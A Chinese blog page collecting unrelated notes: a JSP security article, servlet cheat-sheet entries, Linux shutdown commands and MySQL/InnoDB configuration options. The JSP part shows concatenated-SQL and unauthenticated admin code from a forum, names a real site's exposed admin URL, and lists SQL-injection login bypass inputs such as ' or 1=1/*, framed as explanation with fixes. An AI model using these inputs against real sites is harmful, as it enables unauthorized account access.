操作逻辑的设计既要保证用户任意的输入不会导致错误,也要保证是用户输入的数据能购被安全处理。在session控制下的表单中输入大幅文字可能会导致超时出错,这时候往往还伴随重定向过程,导致用户的长篇输入荡然无存。用javascript提醒用户已超时,请保存输入后重新提交,是一个好办法。某些表单元素如<input type=”text”>接受esc键清除数据,并且无法撤销,这也是很危险的。在中文输入法中常常使用esc键清楚输入的码位,一旦不小心多按一下esc就会使得输入数据消失。因此有必要用javascript禁用<input>和<textarea>的esc键处理过程。(Edit From:Internet,By Aaron)
记得还是去年,刚到据说是高手云集的威威公司上班的时候,一个新到的同事给我讲他花了半天的时间写,并做了很长时间的实践,写了个关于攻击.jsp页面的程序。下面我把具体的实现过程和大家分享一下。测试平台是Tomcat,当然,版本有点低,他的目的只是想证实一下他的某些想法。首先,他在Tomcat的WEB目录下建立了一个Hello.jsp文件,内容是:
<%out.print(hello);%>
通过IE的正常请求地址为:http://localhost:8080/examples/jsp/hello.jsp,显示结果为:hello。然后开始具体的攻击测试。测试时,发出的请求地址为:http://localhost:8080/examples/jsp/////////hello.jsp ,浏览器上显示编译错误,错误的原因是500 java.lang.NullPointerException。这个应该是比较常见的错误了。现在,恢复正常的请求http://localhost:8080/examples/jsp/hello.jsp,问题就出现了,即出错,而且所报的错误和刚才造成它错误的请求是一样的:“500 java.lang.NullPointerException”。难道是缓存在浏览器里了吗?换台机器访问http://192.168.10.188/examples/jsp/hello.jsp。问题依然如故,哎!可怜的Hello.jsp呀!
虽然这个问题有些弱智,不过,他的目的也达到了,即找出“.jsp”流程中存在的一些问题。所以,JSP程序同ASP一样,还是存在着很多安全上的问题的。因此,对于一心研究论坛或者其他安全信息的朋友来说,要想发现JSP的BUG,了解一些JSP的工作原理是十分重要的。
需要指出的是,虽然是一门网络编程语言,JSP和PHP、ASP的工作机制还存在很大的区别,首次调用JSP文件时,JSP页面在执行时是编译式,而不是解释式的。首次调用JSP文件其实是执行一个编译为Servlet的过程。当浏览器向服务器请求这一个JSP文件的时候,服务器将检查自上次编译后JSP文件是否有改变,如果没有改变,就直接执行Servlet,而不用再重新编译,这样,工作效率得到了明显提高。这也是目前JSP论坛开始逐渐风靡的一个重要原因。
小提示:Servlet是用Java编写的Server端程序,它与协议和平台无关;Servlet运行于Java-enabled WEB Server中;Java Servlet可以动态地扩展Server的能力,并采用请求-响应模式提供WEB服务;最早支持Servlet技术的是JavaSoft的Java WEB Server;Servlet的主要功能在于交互式地浏览和修改数据,生成动态WEB内容。
说到这里,我们自然就会关心一些JSP的安全问题。一般来说,常见的JSP安全问题有源代码暴露(包括程序源代码以明文的方式返回给访问者,如添加特殊后缀引起jsp源代码暴露;插入特殊字符串引起Jsp源代码暴露;路径权限引起的文件Jsp源代码暴露;文件不存在引起的绝对路径暴露问题等)、远程程序执行类、数据库如SQL Server、Oracle 、DB2等的漏洞,操作系统漏洞等。不过,为了突出Jsp的安全问题,本文将结合目前的一些比较流行的Jsp论坛分类阐述和提出解决的建议。为了讲解方便,本文还采用一些公开了原代码的论坛实例代码,至于安装软件版本、操作系统等,可以查看安装提示。
论坛用户管理缺陷
为了加强实战效果,我们可以到http://down.chinaz.com/S/5819.asp这个地址下载一个典型的论坛代码,根据提示,数据源名称为yyForum,用户名为xyworker,密码:999。到baidu、Google等网站搜索一下,我们可以看到,安装这个代码的论坛不少。仔细分析后,可以发现,用户管理的页面是user_manager.jsp文件。首先,我们看看这个系统是如何加强它的代码安全性的。其中,在代码的开始部分有一个if限制条件,代码的第三行到第十行具体如下:
<%
if ((session.getValue(UserName)==null)||(session.getValue(UserClass)==null)||(!session.getValue(UserClass).equals(系统管理员)))
%>
其中,Session.getValue表示检索出Session的值;sendRedirect()执行后,地址栏链接会改变,相当于客户端又重新发了一个get请求,要服务器传输另一个文件过来。
下面,我们再来看看修改用户信息的文件modifyuser_manager.jsp。典型代码如下:
<%@page contentType=text/html; charset=gb2312 language=java import=java.sql.*,java.util.* %>
<jsp:useBean id=yy scope=page class=yy.jdbc/>
<%!String User_Name,User_Password,sql, User_Sign;%>
<%
User_Name=request.getParameter(name);
//out.println(User_Name);
User_Password=request.getParameter(password);
User_Password=yy.ex_chinese(User_Password);
……
User_Sign=request.getParameter(sign);
User_Sign=yy.ex_chinese(User_Sign);
Connection con=yy.getConn();
Statement stmt=con.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
sql=update 用户表 set 用户密码='+User_Password+',用户性别='+User_Sex+',用户邮箱='+User_Email+',居住地址='+User_Address+',手机号码='+User_Mobile+',Oicq='+User_Oicq+',出生日期='+User_Birthay+',用户等级='+User_Class+',签名='+User_Sign+' where 用户名='+User_Name+';
//out.println(sql);
stmt.executeUpdate(sql);
out.println(<font size=2 color=blue>正在处理你的用户信息,请稍后...</font><meta http-equiv='refresh' content='2;url=user_manager.jsp'>);
%>
<jsp:include page=inc/online.jsp flush=true/>
看看这个文件,我们就好像看到了一个简单的教学文件。现在,假设管理员提交如下地址,即http://www.51dz.net/bbs/modifyuser_manager.jsp?modifyid=51,需要查看、修改ID为51的用户的资料(管理员默认的用户ID为51)。问题就出来了。同样的,我们可以通过搜索引擎得到如下地址
很明显,这个用户管理文件缺乏认证,即使是普通的用户,甚至包括我们这些搭不上边的“游客”,也可以直接提交上述请求,从而将其资料一览无余,更让人动心的是,密码也是明文存储的。
http://www.51dz.net/bbs/modifyuser_manager.jsp同样是大开山门,直到恶意用户把数据更新的操作执行完毕,重定向到user_manager.jsp的时候,管理员才会看见那个显示错误的页面,但这个时候为时已晚,更谈不上“亡羊补牢”了。类似的错误存在于很多JSP的站点上,面对这样的论坛,我们能够放心的说“安全”吗?解决之道有很多,不过,最基本的要求是为每个需要加身份认证的地方加上身份认证,如果借用别人的代码,一定要对涉及到用户管理、密码认证等重要文件修改一下,照搬虽然省事,但代码毫无安全性可言。
再就是SQL注入的问题。比如,这个典型的问题:“昨天公司的数据库被人SQL注入,9万条记录都被update了,同事写了个JSP程序来把他改回来,可是这JSP没有一点信息返回,看不到进度,在运行些什么都不知道。”不过,这和JSP程序没有什么必然的联系,根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQL占20%,其它的不足10%。因此,ASP的SQL注入比较常见也不足为怪。不过,SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,即使是JSP程序也不能幸免。归根结底,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。看看这个教材式的JSP程序就可以窥见一般:
Statement stmt = conn.createStatement();
String checkUser = select * from login where username = ' + userName + ' and userpassword = ' + userPassword + ';
ResultSet rs = stmt.executeQuery(checkUser);
if(rs.next())
response.sendRedirect(SuccessLogin.jsp);
else
response.sendRedirect(FailureLogin.jsp);
针对这种情况,如果数据库里存在一个名叫“Tom”的用户,那么在不知道密码的情况下至少有下面几种方法可以登录:
用户名:Tom 密码:' or 'a'='a
用户名:Tom 密码:' or 1=1/*
用户名:Tom' or 1=1/* 密码:(任意)
|
|
|
1.1重定向(如果对方不支持cookie,回写sessionID进行session跟踪) response.sendRedirect(response.encodeRedirectURL(request.getContextPath()+"/next")); ****************************************************************** 1.2转发 RequestDispatcher dispatcher = getServletContext().getRequestDispatcher(url); dispatcher.forward(request,response); ****************************************************************** 1.3字符 request.setCharacterEncoding("utf-8"); response.setContentType("text/html;charset=utf-8"); ****************************************************************** String servletPath = request.getServletPath(); servletPath = servletPath.substring(servletPath.lastIndexOf("/") + 1); String operation = servletPath.substring(0, servletPath.indexOf(".do"));
1.设置连接超时时间(分钟) <session-config> <session-timeout>50</session-timeout> </session-config> ****************************************************************** 4.相对路径匹配 1>绝对匹配 /xx/yy 2>后缀匹配 *.xx 3>后面匹配 /xx/* ****************************************************************** 5.监听器 5.1ServletRequestListener getServletContext() getServletRequest() requestDestroyed(ServletRequestEvent) requestInitialized(ServletRequestEvent) 5.2HttpSessionListener getSession() sessionCreated(HttpSessionEvent) sessionDestroyed(HttpSessionEvent) 5.3ServletContextListener getServletContext() contextInitialized(ServletContextEvent) contextDestroyed(ServletContextEvent) 5.4ServletRequestAttributeListener getName() getValue() attributeAdded(ServletRequestAttributeEvent) attributeRemoved(ServletRequestAttributeEvent) attributeReplaced(ServletRequestAttributeEvent) 5.5HttpSessionAttributeListener getName() getValue() getSession() attributeAdded(HttpSessionBindingEvent) attributeRemoved(HttpSessionBindingEvent) attributeReplaced(HttpSessionBindingEvent) 5.6ServletContextAttributeListener getName() getValue() attributeAdded(ServletContextAttributeEvent) attributeRemoved(ServletContextAttributeEvent) attributeReplaced(ServletContextAttributeEvent)
|
|
Linux中常用的关机和重新启动命令有shutdown、halt、reboot以及init,它们都可以达到关机和重新启动的目的,但是每个命令的内部工作过程是不同的,下面将逐一进行介绍。
1. shutdown
shutdown命令用于安全关闭Linux系统。有些用户会使用直接断掉电源的方式来关闭Linux,这是十分危险的。因为Linux与Windows不同,其后台运行着许多进程,所以强制关机可能会导致进程的数据丢失,使系统处于不稳定的状态,甚至会损坏硬件设备。
执 行shutdown命令时,系统会通知所有登录的用户系统将要关闭,并且login指令会被冻结,即新的用户不能再登录系统。使用shutdown命令可 以直接关闭系统,也可以延迟指定的时间再关闭系统,还可以重新启动。延迟指定的时间再关闭系统,可以让用户有时间储存当前正在处理的文件和关闭已经打开的 程序。
shutdown命令的部分参数如下:
[-t] 指定在多长时间之后关闭系统
[-r] 重启系统
[-k] 并不真正关机,只是给每个登录用户发送警告信号
[-h] 关闭系统(halt)
shutdown命令的工作实质是给init程序发送信号(signal),要求其切换系统的运行级别(Runlevel)。系统的运行级别包括:
0:关闭系统
1:单用户模式,如果没有为shutdown命令指定-h或-r参数而直接执行,则默认将切换到此运行级别
2:多用户模式(不支持NFS)
3:多用户模式(支持NFS),一般常用此种运行级别
5:多用户模式(GUI模式)
6:重新启动系统
2. halt
halt是最简单的关机命令,其实际上是调用shutdown -h命令。halt执行时,杀死应用进程,文件系统写操作完成后就会停止内核。
halt命令的部分参数如下:
[-f] 没有调用shutdown而强制关机或重启
[-i] 关机或重新启动之前,关掉所有的网络接口
[-p] 关机时调用poweroff,此选项为缺省选项
3.reboot
reboot的工作过程与halt类似,其作用是重新启动,而halt是关机。其参数也与halt类似。
4.init
init是所有进程的祖先,其进程号始终为1。init用于切换系统的运行级别,切换的工作是立即完成的。init 0命令用于立即将系统运行级别切换为0,即关机;init 6命令用于将系统运行级别切换为6,即重新启动。
|
本文中的配置都是从《MySQL5权威指南(3rd)》中摘抄出来的,个人认为对于使用MySQL十分有用。放在此处方便自己随时查阅,也希望对其他朋友有所助益。(2007.05.30最后更新)
mysqld程序--目录和文件 basedir = path 使用给定目录作为根目录(安装目录)。 character-sets-dir = path 给出存放着字符集的目录。 datadir = path 从给定目录读取数据库文件。 pid-file = filename 为mysqld程序指定一个存放进程ID的文件(仅适用于UNIX/Linux系统); Init-V脚本需要使用这个文件里的进程ID结束mysqld进程。 socket = filename 为MySQL客户程序与服务器之间的本地通信指定一个套接字文件(仅适用于UNIX/Linux系统; 默认设置一般是/var/lib/mysql/mysql.sock文件)。 在Windows环境下,如果MySQL客户与服务器是通过命名管道进行通信的,--sock选项给出的将是该命名管道的名字(默认设置是MySQL)。 lower_case_table_name = 1/0 新目录和数据表的名字是否只允许使用小写字母; 这个选项在Windows环境下的默认设置是1(只允许使用小写字母)。
mysqld程序--语言设置 character-sets-server = name 新数据库或数据表的默认字符集。为了与MySQL的早期版本保持兼容,这个字符集也可以用--default-character-set选项给出; 但这个选项已经显得有点过时了。 collation-server = name 新数据库或数据表的默认排序方式。 lanuage = name 用指定的语言显示出错信息。
mysqld程序--通信、网络、信息安全 enable-named-pipes 允许Windows 2000/XP环境下的客户和服务器使用命名管道(named pipe)进行通信。这个命名管道的默认名字是MySQL,但可以用--socket选项来改变。 local-infile [=0] 允许/禁止使用LOAD DATA LOCAL语句来处理本地文件。 myisam-recover [=opt1, opt2, ...] 在启动时自动修复所有受损的MyISAM数据表。这个选项的可取值有4种:DEFAULT、BACKUP、QUICK和FORCE; 它们与myisamchk程序的同名选项作用相同。 old-passwords 使用MySQL 3.23和4.0版本中的老算法来加密mysql数据库里的密码(默认使用MySQL 4.1版本开始引入的新加密算法)。 port = n 为MySQL程序指定一个TCP/IP通信端口(通常是3306端口)。 safe-user-create 只有在mysql.user数据库表上拥有INSERT权限的用户才能使用GRANT命令; 这是一种双保险机制(此用户还必须具备GRANT权限才能执行GRANT命令)。 shared-memory 允许使用内存(shared memory)进行通信(仅适用于Windows)。 shared-memory-base-name = name 给共享内存块起一个名字(默认的名字是MySQL)。 skip-grant-tables 不使用mysql数据库里的信息来进行访问控制(警告:这将允许用户任何用户去修改任何数据库)。 skip-host-cache 不使用高速缓存区来存放主机名和IP地址的对应关系。 skip-name-resovle 不把IP地址解析为主机名; 与访问控制(mysql.user数据表)有关的检查全部通过IP地址行进。 skip-networking 只允许通过一个套接字文件(Unix/Linux系统)或通过命名管道(Windows系统)进行本地连接,不允许ICP/IP连接; 这提高了安全性,但阻断了来自网络的外部连接和所有的Java客户程序(Java客户即使在本地连接里也使用TCP/IP)。 user = name mysqld程序在启动后将在给定UNIX/Linux账户下执行; mysqld必须从root账户启动才能在启动后切换到另一个账户下执行; mysqld_safe脚本将默认使用--user=mysql选项来启动mysqld程序。
mysqld程序--内存管理、优化、查询缓存区 bulk_insert_buffer_size = n 为一次插入多条新记录的INSERT命令分配的缓存区长度(默认设置是8M)。 key_buffer_size = n 用来存放索引区块的RMA值(默认设置是8M)。 join_buffer_size = n 在参加JOIN操作的数据列没有索引时为JOIN操作分配的缓存区长度(默认设置是128K)。 max_heap_table_size = n HEAP数据表的最大长度(默认设置是16M); 超过这个长度的HEAP数据表将被存入一个临时文件而不是驻留在内存里。 max_connections = n MySQL服务器同时处理的数据库连接的最大数量(默认设置是100)。 query_cache_limit = n 允许临时存放在查询缓存区里的查询结果的最大长度(默认设置是1M)。 query_cache_size = n 查询缓存区的最大长度(默认设置是0,不开辟查询缓存区)。 query_cache_type = 0/1/2 查询缓存区的工作模式:0, 禁用查询缓存区; 1,启用查询缓存区(默认设置); 2,"按需分配"模式,只响应SELECT SQL_CACHE命令。 read_buffer_size = n 为从数据表顺序读取数据的读操作保留的缓存区的长度(默认设置是128KB); 这个选项的设置值在必要时可以用SQL命令SET SESSION read_buffer_size = n命令加以改变。 read_rnd_buffer_size = n 类似于read_buffer_size选项,但针对的是按某种特定顺序(比如使用了ORDER BY子句的查询)输出的查询结果(默认设置是256K)。 sore_buffer = n 为排序操作分配的缓存区的长度(默认设置是2M); 如果这个缓存区太小,则必须创建一个临时文件来进行排序。 table_cache = n 同时打开的数据表的数量(默认设置是64)。 tmp_table_size = n 临时HEAP数据表的最大长度(默认设置是32M); 超过这个长度的临时数据表将被转换为MyISAM数据表并存入一个临时文件。
mysqld程序--日志 log [= file] 把所有的连接以及所有的SQL命令记入日志(通用查询日志); 如果没有给出file参数,MySQL将在数据库目录里创建一个hostname.log文件作为这种日志文件(hostname是服务器的主机名)。 log-slow-queries [= file] 把执行用时超过long_query_time变量值的查询命令记入日志(慢查询日志); 如果没有给出file参数,MySQL将在数据库目录里创建一个hostname-slow.log文件作为这种日志文件(hostname是服务器主机名)。 long_query_time = n 慢查询的执行用时上限(默认设置是10s)。 long_queries_not_using_indexs 把慢查询以及执行时没有使用索引的查询命令全都记入日志(其余同--log-slow-queries选项)。 log-bin [= filename] 把对数据进行修改的所有SQL命令(也就是INSERT、UPDATE和DELETE命令)以二进制格式记入日志(二进制变更日志,binary update log)。这种日志的文件名是filename.n或默认的hostname.n,其中n是一个6位数字的整数(日志文件按顺序编号)。 log-bin-index = filename 二进制日志功能的索引文件名。在默认情况下,这个索引文件与二进制日志文件的名字相同,但后缀名是.index而不是.nnnnnn。 max_binlog_size = n 二进制日志文件的最大长度(默认设置是1GB)。在前一个二进制日志文件里的信息量超过这个最大长度之前,MySQL服务器会自动提供一个新的二进制日志文件接续上。 binlog-do-db = dbname 只把给定数据库里的变化情况记入二进制日志文件,其他数据库里的变化情况不记载。如果需要记载多个数据库里的变化情况,就必须在配置文件使用多个本选项来设置,每个数据库一行。 binlog-ignore-db = dbname 不把给定数据库里的变化情况记入二进制日志文件。 sync_binlog = n 每经过n次日志写操作就把日志文件写入硬盘一次(对日志信息进行一次同步)。n=1是最安全的做法,但效率最低。默认设置是n=0,意思是由操作系统来负责二进制日志文件的同步工作。 log-update [= file] 记载出错情况的日志文件名(出错日志)。这种日志功能无法禁用。如果没有给出file参数,MySQL会使用hostname.err作为种日志文件的名字。
mysqld程序--镜像(主控镜像服务器) server-id = n 给服务器分配一个独一无二的ID编号; n的取值范围是1~2的32次方启用二进制日志功能。 log-bin = name 启用二进制日志功能。这种日志的文件名是filename.n或默认的hostname.n,其中的n是一个6位数字的整数(日志文件顺序编号)。 binlog-do/ignore-db = dbname 只把给定数据库里的变化情况记入二进制日志文件/不把给定的数据库里的变化记入二进制日志文件。
mysqld程序--镜像(从属镜像服务器) server-id = n 给服务器分配一个唯一的ID编号 log-slave-updates 启用从属服务器上的日志功能,使这台计算机可以用来构成一个镜像链(A->B->C)。 master-host = hostname 主控服务器的主机名或IP地址。如果从属服务器上存在mater.info文件(镜像关系定义文件),它将忽略此选项。 master-user = replicusername 从属服务器用来连接主控服务器的用户名。如果从属服务器上存在mater.info文件,它将忽略此选项。 master-password = passwd 从属服务器用来连接主控服务器的密码。如果从属服务器上存在mater.info文件,它将忽略此选项。 master-port = n 从属服务器用来连接主控服务器的TCP/IP端口(默认设置是3306端口)。 master-connect-retry = n 如果与主控服务器的连接没有成功,则等待n秒(s)后再进行管理方式(默认设置是60s)。如果从属服务器存在mater.info文件, 它将忽略此选项。 master-ssl-xxx = xxx 对主、从服务器之间的SSL通信进行配置。 read-only = 0/1 0: 允许从属服务器独立地执行SQL命令(默认设置); 1: 从属服务器只能执行来自主控服务器的SQL命令。 read-log-purge = 0/1 1: 把处理完的SQL命令立刻从中继日志文件里删除(默认设置); 0: 不把处理完的SQL命令立刻从中继日志文件里删除。 replicate-do-table = dbname.tablename 与--replicate-do-table选项的含义和用法相同,但数据库和数据库表名字里允许出现通配符"%" (例如: test%.%--对名字以"test"开头的所有数据库里的所以数据库表进行镜像处理)。 replicate-do-db = name 只对这个数据库进行镜像处理。 replicate-ignore-table = dbname.tablename 不对这个数据表进行镜像处理。 replicate-wild-ignore-table = dbn.tablen 不对这些数据表进行镜像处理。 replicate-ignore-db = dbname 不对这个数据库进行镜像处理。 replicate-rewrite-db = db1name > db2name 把主控数据库上的db1name数据库镜像处理为从属服务器上的db2name数据库。 report-host = hostname 从属服务器的主机名; 这项信息只与SHOW SLAVE HOSTS命令有关--主控服务器可以用这条命令生成一份从属服务器的名单。 slave-compressed-protocol = 1 主、从服务器使用压缩格式进行通信--如果它们都支持这么做的话。 slave-skip-errors = n1, n2, ...或all 即使发生出错代码为n1、n2等的错误,镜像处理工作也继续进行(即不管发生什么错误,镜像处理工作也继续进行)。 如果配置得当,从属服务器不应该在执行SQL命令时发生错误(在主控服务器上执行出错的SQL命令不会被发送到从属服务器上做镜像处理); 如果不使用 slave-skip-errors选项,从属服务器上的镜像工作就可能国为发生错误而中断,中断后需要有人工参与才能继续进行。
mysqld--InnoDB--基本设置、表空间文件 skip-innodb 不加载InnoDB数据表驱动程序--如果用不着InnoDB数据表,可以用这个选项节省一些内存。 innodb-file-per-table 为每一个新数据表创建一个表空间文件而不是把数据表都集中保存在中央表空间里(后者是默认设置)。该选项始见于MySQL 4.1。 innodb-open-file = n InnoDB数据表驱动程序最多可以同时打开的文件数(默认设置是300)。如果使用了innodb-file-per-table选项并且需要同时打开很多 数据表的话,这个数字很可能需要加大。 innodb_data_home_dir = p InnoDB主目录,所有与InnoDB数据表有关的目录或文件路径都相对于这个路径。在默认的情况下,这个主目录就是MySQL的数据目录。 innodb_data_file_path = ts 用来容纳InnoDB为数据表的表空间: 可能涉及一个以上的文件; 每一个表空间文件的最大长度都必须以字节(B)、兆字节(MB)或 千兆字节(GB)为单位给出; 表空间文件的名字必须以分号隔开; 最后一个表空间文件还可以带一个autoextend属性和一个最大长度(max:n)。 例如,ibdata1:1G; ibdata2:1G:autoextend:max:2G的意思是: 表空间文件ibdata1的最大长度是1GB,ibdata2的最大长度也是1G,但允许它扩充到2GB。 除文件名外,还可以用硬盘分区的设置名来定义表空间,此时必须给表空间的最大初始长度值加上newraw关键字做后缀,给表空间的最大扩充长度值加上 raw关键字做后缀(例如/dev/hdb1:20Gnewraw或/dev/hdb1:20Graw); MySQL 4.0及更高版本的默认设置是ibdata1:10M:autoextend。 innodb_autoextend_increment = n 带有autoextend属性的表空间文件每次加大多少兆字节(默认设置是8MB)。这个属性不涉及具体的数据表文件,那些文件的 增大速度相对是比较小的。 innodb_lock_wait_timeout = n 如果某个事务在等待n秒(s)后还没有获得所需要的资源,就使用ROLLBACK命令放弃这个事务。这项设置对于发现和处理未能被 InnoDB数据表驱动程序识别出来的死锁条件有着重要的意义。这个选项的默认设置是50s。 innodb_fast_shutdown 0/1 是否以最快的速度关闭InnoDB,默认设置是1,意思是不把缓存在INSERT缓存区的数据写入数据表,那些数据将在MySQL服务器下次 启动时再写入(这么做没有什么风险,因为INSERT缓存区是表空间的一个组成部分,数据不会丢失)。把这个选项设置为0反面危险,因为在计算机关闭时, InnoDB驱动程序很可能没有足够的时间完成它的数据同步工作,操作系统也许会在它完成数据同步工作之前强行结束InnoDB,而这会导致数据不完整。
mysqld程序--InnoDB--日志 innodb_log_group_home_dir = p 用来存放InnoDB日志文件的目录路径(如ib_logfile0、ib_logfile1等)。在默认的情况下,InnoDB驱动程序将使用MySQL数据目 录作为自己保存日志文件的位置。 innodb_log_files_in_group = n 使用多少个日志文件(默认设置是2)。InnoDB数据表驱动程序将以轮转方式依次填写这些文件; 当所有的日志文件都写满以后, 之后的日志信息将写入第一个日志文件的最大长度(默认设置是5MB)。这个长度必须以MB(兆字节)或GB(千兆字节)为单位进行设置。 innodb_flush_log_at_trx_commit = 0/1/2 这个选项决定着什么时候把日志信息写入日志文件以及什么时候把这些文件物理地写(术语称为"同步")到硬盘上。 设置值0的意思是每隔一秒写一次日志并进行同步,这可以减少硬盘写操作次数,但可能造成数据丢失; 设置值1(设置设置)的意思是在每执行完一条COMMIT 命令就写一次日志并进行同步,这可以防止数据丢失,但硬盘写操作可能会很频繁; 设置值2是一般折衷的办法,即每执行完一条COMMIT命令写一次日志, 每隔一秒进行一次同步。 innodb_flush_method = x InnoDB日志文件的同步办法(仅适用于UNIX/Linux系统)。这个选项的可取值有两种: fdatasync,用fsync()函数进行同步; O_DSYNC, 用O_SYNC()函数进行同步。 innodb_log_archive = 1 启用InnoDB驱动程序的archive(档案)日志功能,把日志信息写入ib_arch_log_n文件。启用这种日志功能在InnoDB与MySQL一起使用时没有 多大意义(启用MySQL服务器的二进制日志功能就足够用了)。
mysqld程序--InnoDB--缓存区的设置和优化 innodb_log_buffer_pool_size = n 为InnoDB数据表及其索引而保留的RAM内存量(默认设置是8MB)。这个参数对速度有着相当大的影响,如果计算机上只运行有 MySQL/InnoDB数据库服务器,就应该把全部内存的80%用于这个用途。 innodb_log_buffer_size = n 事务日志文件写操作缓存区的最大长度(默认设置是1MB)。 innodb_additional_men_pool_size = n 为用于内部管理的各种数据结构分配的缓存区最大长度(默认设置是1MB)。 innodb_file_io_threads = n I/O操作(硬盘写操作)的最大线程个数(默认设置是4)。 innodb_thread_concurrency = n InnoDB驱动程序能够同时使用的最大线程个数(默认设置是8)。
mysqld程序--其它选项 bind-address = ipaddr MySQL服务器的IP地址。如果MySQL服务器所在的计算机有多个IP地址,这个选项将非常重要。 default-storage-engine = type 新数据表的默认数据表类型(默认设置是MyISAM)。这项设置还可以通过--default-table-type选项来设置。 default-timezone = name 为MySQL服务器设置一个地理时区(如果它与本地计算机的地理时区不一样)。 ft_min_word_len = n 全文索引的最小单词长度工。这个选项的默认设置是4,意思是在创建全文索引时不考虑那些由3个或更少的字符构建单词。 Max-allowed-packet = n 客户与服务器之间交换的数据包的最大长度,这个数字至少应该大于客户程序将要处理的最大BLOB块的长度。这个选项的默认设置是1MB。 Sql-mode = model1, mode2, ... MySQL将运行在哪一种SQL模式下。这个选项的作用是让MySQL与其他的数据库系统保持最大程度的兼容。这个选项的可取值包括 ansi、db2、oracle、no_zero_date、pipes_as_concat。
注意:如果在配置文件里给出的某个选项是mysqld无法识别的(如,因为犯了一个愚蠢的打字错误),MySQL服务器将不启动。
来源:
http://blog.chinaunix.net/u1/41728/showart_350147.html
|
这个文件超级大, 查了一下, 大概的作用如下 是储存的格式 INNODB类型数据状态下, ibdata用来储存文件的数据 而库名的文件夹里面的那些表文件只是结构而已 由于mysql4.1默认试innodb,所以这个文件默认就存在了http://man.chinaunix.net/database/mysql/inonodb_zh/2.htm 这个链接试innodb的中文参考, innodb的东西可以在my.ini中设置 innodo中文参考全文如下 InnoDB 启动选项为了在 MySQL-Max-3.23 中使用 InnoDB 表,你必须在配置文件‘my.cnf’或‘my.ini’(WINDOWS系统)中的 [mysqld] 区中详细指定配置参数。 作为最小设置,在 3.23 中你必须在 innodb_data_file_path 上指定数据文件名能及大小。如果在‘my.cnf’中没有指定innodb_data_home_dir ,系统将在 MySQL 的 datadir 目录下创建数据文件。如果将 innodb_data_home_dir 设为一个空串,那可以在 innodb_data_file_path 中给定一个绝对路径。在 MySQL-4.0 中可以不设定 innodb_data_file_path :MySQL-4.0 将默认地在 datadir 目录下建立一个 10 MB 大小自扩充(auto-extending)的文件‘ibdata1’(在MySQL-4.0.0 与 4.0.1 中数据文件的大小为 64 MB 并且是非自扩充的(not auto-extending))。 为了得到更好的性能你必须所示的例子明确地设定 InnoDB 启动参数。 从 3.23.50 版和 4.0.2 版开始,InnoDB 允许在 innodb_data_file_path 中设置的最一个数据文件描述为 auto-extending。 innodb_data_file_path 语法如下所示: pathtodatafile:sizespecification;pathtodatafile:sizespec;... ...;pathtodatafile:sizespec[:autoextend[:max:sizespecification]]
如果用 autoextend 选项描述最后一个数据文件,当 InnoDB 用尽所有表自由空间后将会自动扩充最后一个数据文件,每次增量为 8 MB。示例: innodb_data_home_dir = innodb_data_file_path = /ibdata/ibdata1:100M:autoextend
指定 InnoDB 只建立一个最初大小为 100 MB 并且当表空间被用尽时以 8MB 每块增加的数据文件。如果硬盘空间不足,可以再添加一个数据文件并将其放在其它的硬盘中。 举例来说:先检查硬盘空间的大小,设定 ibdata1 文件使它接近于硬盘空余空间大小并为 1024 * 1024 bytes (= 1 MB)的倍数, 将 ibdata1 明确地指定在 innodb_data_file_path 中。在此之后可以添加另一个数据文件: innodb_data_home_dir = innodb_data_file_path = /ibdata/ibdata1:988M;/disk2/ibdata2:50M:autoextend
注意:设定文件大小时一定要注意你的OS是否有最大文件尺寸为2GB的限制!InnoDB是不会注意你的OS文件尺寸限制的, 在一些文件系统中你可能要设定最大容量限制: innodb_data_home_dir = innodb_data_file_path = /ibdata/ibdata1:100M:autoextend:max:2000M
一个简单的 my.cnf 例子。 假设你的计算机有 128 MB RAM 和一个硬盘。下面的例子是为了使用 InnoDB 而在 my.cnf 或 my.ini 文件中可能所作的一些配置。我们假设你运行的是 MySQL-Max-3.23.50 及以上版本,或 MySQL-4.0.2 及以上版本。 这个示例适合大部分不需要将 InnoDB 数据文件和日志文件放在几个盘上的 Unix 和 Windows 用户。这个例子在 MySQL 的datadir 目录(典型的为 /mysql/data)中创建一个自扩充(auto-extending)的数据文件 ibdata1 和两个 InnoDB 运行日志文件ib_logfile0 和 ib_logfile1 以及 ib_arch_log_0000000000 档案文件。 [mysqld] #在这里加入其它 的 MySQL 服务器配置 #... # 数据文件必须 # 能够容下数据与索引 # 确定有足够的 # 磁盘空间 innodb_data_file_path = ibdata1:10M:autoextend # 设置缓冲池的大小为 # 你的主内存大小的 # 50 - 80 % set-variable = innodb_buffer_pool_size=70M set-variable = innodb_additional_mem_pool_size=10M # 设置日志文件的大小约为 # 缓冲池(buffer pool) # 大小的 25 % set-variable = innodb_log_file_size=20M set-variable = innodb_log_buffer_size=8M # 如果丢失最近几个事务影响 # 不大的话可以设置 # .._flush_log_at_trx_commit = 0 innodb_flush_log_at_trx_commit=1
InnoDB 不会自己建立目录,必须自己使用操作系统命令建立相应的目录。检查你的 MySQL 服务程序在 datadir 目录里 有足够的权限建立文件。 注意:在某些文件系统中 数据文件大小必须小于2G! 所有运行日志文件的大小总和必须小于 2G 或 4G,这依赖于具体的 MySQL 系统版本。 数据文件的总和必须大于等于 10 MB. 当第一次建立 InnoDB 数据库时,建议最好以命令行方式启动 MySQL 服务。这样 InnoDB 数据库建立时的提示信息将在屏幕上显示,从而可以看到建立过程。 下面第 3 节所示就是 InnoDB 数据库建立时的屏幕显示。例如,在 Windows 下使用下列指令启动 mysqld-max.exe : your-path-to-mysqld>mysqld-max --console
在 Windows 系统下 my.cnf 或 my.ini 放在哪里?规则如下 : - 只能存在一个 my.cnf 或 my.ini 文件
- my.cnf 文件必须放在 C: 的根目录下
- my.ini 文件必须放在 WINDIR 目录下,例:C:\WINDOWS 或 C:\WINNT。可以使用 MS-DOS 的
SET 命令查看 WINDIR 目录值 - 如果你的 PC 使用启动引导程序引导系统而 C: 不是启动磁盘,那只能唯一地使用 my.ini 作为设置文件
Unix 下在哪里指定配置文件?在 Unix 下 mysqld 按下列顺序搜索配置文件: - /etc/my.cnf 全局选项
- COMPILATION_DATADIR/my.cnf 服务器范围的选项
- defaults-extra-file 采用
--defaults-extra-file=... . 设置的默认文件 - ~/.my.cnf 用户指定文件
